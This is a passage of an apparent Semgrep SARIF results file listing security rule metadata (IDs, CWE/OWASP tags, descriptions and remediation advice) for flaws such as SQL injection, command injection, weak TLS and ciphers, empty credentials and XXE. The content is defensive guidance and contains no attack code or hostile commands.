injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.system-command.command-injection-path.command-injection-path","id":"cpp.lang.security.system-command.command-injection-path.command-injection-path","name":"cpp.lang.security.system-command.command-injection-path.command-injection-path","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.system-command.command-injection-path.command-injection-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later."},"help":{"markdown":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.insecure-ssl-version.insecure-ssl-version)\n - [https://www.acunetix.com/blog/web-security-zone/hardening-nginx/](https://www.acunetix.com/blog/web-security-zone/hardening-nginx/)\n - [https://www.acunetix.com/blog/articles/tls-ssl-cipher-hardening/](https://www.acunetix.com/blog/articles/tls-ssl-cipher-hardening/)\n","text":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.insecure-ssl-version.insecure-ssl-version","id":"generic.nginx.security.insecure-ssl-version.insecure-ssl-version","name":"generic.nginx.security.insecure-ssl-version.insecure-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.insecure-ssl-version.insecure-ssl-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","id":"go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","name":"go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"help":{"markdown":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.expressions.RawSQL](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.expressions.RawSQL)\n","text":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","id":"python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","name":"python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms."},"help":{"markdown":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.use-of-md5.use-of-md5)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n","text":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.use-of-md5.use-of-md5","id":"clojure.lang.security.use-of-md5.use-of-md5","name":"clojure.lang.security.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","id":"python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","name":"python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","id":"ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","name":"ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\"."},"help":{"markdown":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\"."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","id":"terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","name":"terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"help":{"markdown":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint)\n - [https://docs.angularjs.org/api/ng/function/angular.element](https://docs.angularjs.org/api/ng/function/angular.element)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","id":"javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","name":"javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pgx-sqli.pgx-sqli)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","id":"go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","name":"go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pgx-sqli.pgx-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pg.pg-empty-password.pg-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pg.pg-empty-password.pg-empty-password","id":"go.secrets.pg.pg-empty-password.pg-empty-password","name":"go.secrets.pg.pg-empty-password.pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pg.pg-empty-password.pg-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.Request](https://docs.python.org/3/library/urllib.request.html#urllib.request.Request)\n","text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","id":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","name":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","id":"csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","name":"csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`."},"help":{"markdown":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate)\n - [https://www.php.net/manual/en/function.openssl-decrypt.php](https://www.php.net/manual/en/function.openssl-decrypt.php)\n","text":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`."},"helpUri":"https://semgrep.dev/r/php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","id":"php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","name":"php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","properties":{"precision":"very-high","tags":["CWE-252: Unchecked Return Value","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","id":"python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","name":"python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface."},"help":{"markdown":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","id":"swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","name":"swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","properties":{"precision":"very-high","tags":["CWE-296: Improper Following of a Certificate's Chain of Trust","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","id":"php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","name":"php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch."},"help":{"markdown":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/docdb_cluster#enabled_cloudwatch_logs_exports](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/docdb_cluster#enabled_cloudwatch_logs_exports)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)\n","text":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to 